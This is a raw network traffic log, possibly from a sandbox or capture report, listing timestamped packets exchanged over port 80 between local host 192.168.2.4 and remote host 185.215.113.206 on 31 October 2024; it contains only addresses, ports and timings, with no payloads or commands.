Oct 31, 2024 17:26:27.113787889 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.113806963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.113818884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.114080906 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.122159958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122212887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122225046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122241974 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.122273922 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.122355938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122369051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122380018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122400999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.122421026 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.122694016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122705936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122718096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122730017 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.122730970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.122754097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.122777939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.123145103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.123195887 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.123233080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.123244047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.123281002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.150767088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.150780916 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.150793076 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.150899887 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.150911093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.150923014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.150963068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.150995970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.193443060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193461895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193473101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193484068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193566084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193577051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193583965 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.193591118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193650961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.193707943 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193722010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193732977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193743944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.193761110 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.193787098 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.236733913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.236890078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.236973047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.236990929 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.237025023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.237060070 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.240392923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.240477085 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.240528107 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.240547895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.240583897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.240583897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.240653038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.240670919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.240689039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.240705013 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.240762949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.240762949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.241034031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.241051912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.241095066 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.241096973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.241116047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.241143942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.241143942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.241178036 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.244672060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.244688034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.244757891 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.244796038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.244846106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.245614052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.245626926 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.245814085 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.274990082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.275108099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.275120020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.275135994 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.275170088 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.275398970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.275412083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.275446892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.275468111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.309752941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.309767962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.309899092 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.310046911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.310112953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.310235023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.310246944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.310297966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.310331106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.310383081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.310395002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.310453892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.311003923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.311021090 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.311033010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.311058044 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.311089039 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.354631901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.354650974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.354662895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.354762077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.354801893 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.355108976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.355123043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.355134010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.355189085 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.355189085 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363235950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363250017 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363261938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363305092 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363358021 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363358974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363403082 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363543987 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363557100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363588095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363631964 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363698959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363712072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363722086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363744974 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363773108 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363868952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363879919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363890886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.363908052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.363944054 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.364449024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.364465952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.364476919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.364494085 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.364526987 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.391655922 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.391669035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.391680956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.391715050 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.391731024 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.391983032 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.391994953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.392029047 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.392045975 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.427561998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.427586079 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.427598953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.427623034 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.427788973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.428270102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.428282022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.428293943 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.428304911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.428330898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.428375006 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.428551912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.428564072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.428574085 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.428602934 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.428646088 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.469065905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.469088078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.469101906 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.469207048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.469202995 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.469203949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.469219923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.469288111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.469288111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.477927923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.477941990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.477962017 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478009939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478053093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478066921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478081942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478095055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478108883 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478138924 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478231907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478276968 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478394985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478406906 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478449106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478449106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478519917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478560925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478863001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478873968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478883982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478893995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.478918076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.478950024 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.479327917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.479341030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.479351997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.479388952 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.479441881 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.512948036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.512965918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.512979031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.513050079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.513106108 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.513696909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.513710976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.513761044 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543462992 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543525934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543577909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543581009 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543612003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543622971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543622971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543648958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543663979 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543682098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543690920 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543718100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543737888 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543751955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543761015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543786049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543811083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543823004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.543832064 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.543876886 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.587333918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.587404966 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.587415934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.587459087 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.587471008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.587481976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.587497950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.587497950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.587584972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596208096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596227884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596240997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596287012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596323013 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596349001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596383095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596390963 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596395969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596421003 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596453905 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596611023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596671104 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596697092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596707106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596756935 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596921921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596976042 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.596981049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.596993923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.597038984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.597038984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.597151041 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.597162962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.597173929 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.597209930 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.597240925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.597779036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.597824097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.597835064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.597836971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.597873926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.597873926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.630914927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.630955935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.630966902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.631012917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.631073952 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.631113052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.631125927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.631165028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.631165028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.687305927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687328100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687340021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687412977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687426090 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687407970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.687438011 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687452078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687479973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.687479973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.687520027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.687587023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687598944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687611103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687623024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.687654972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.687689066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.705442905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.705509901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.705507994 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.705523014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.705588102 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.705588102 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.705647945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.705661058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.705713987 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.705713987 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.718379021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.718391895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.718404055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.718430996 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.718461990 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719175100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719186068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719197035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719209909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719214916 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719238043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719269991 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719695091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719706059 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719717026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719728947 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719738007 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719742060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719755888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719768047 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719769001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719789028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719820023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.719897985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719909906 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.719921112 CET	80	62829	185.215.113.206	192.168.2.4
